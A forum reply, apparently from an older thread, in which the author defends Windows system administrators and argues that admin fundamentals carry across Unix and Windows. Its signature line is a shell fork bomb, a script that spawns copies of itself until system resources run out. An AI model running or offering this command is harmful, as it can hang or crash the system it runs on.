You, and the other poster in this thread, are precisely the type of people I hope to never meet in real life.

Have you considered that companies make large investments into software and systems, often times into Microsoft products, that they simply can not "drop" because an entire product is based around it?

Have you considered that it takes as much time to become an expert with Microsoft products as it does with <insert other product here>? It requires time and effort, like anything else in this world.

Have you considered that the industry is going through a very tight phase right now, and a number of my friends are without jobs, and a very jealous of my Win32 admin job?

Are you so clueless as to realize that basic fundamentals do not change between systems? A web server is still a process on a port that uses the HTTP protocol; an email server is still a process that stores and relays messages using SMTP,IMAP, or your favorite protocol, regardless if it's Sendmail, Qmail or Exchange.

Have you woken up enough to realize that Windows 2000 (all versions) can be configured and administered from a command line (cmd.exe for win2k)? Have you explored Active Directory Services Interface (ADSI) and Windows Management Instrumentation (WMI) as tools to built custom administration tools? Did you know perl has interfaces for WMI and ADSI?

Did you guess that I've been both a unix and windows systems administrator? I learned different skills in each, but the basic fundamentals of systems administration does not change. Not only the technical parts, but the important parts of keeping a complex system running: documentation, communication, isolating problems, showing cause-and-effect, testing, backup, the list goes on.

By the way, ActivePerl allows perl CGI apps to run under IIS quite nicely.

Cheers,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;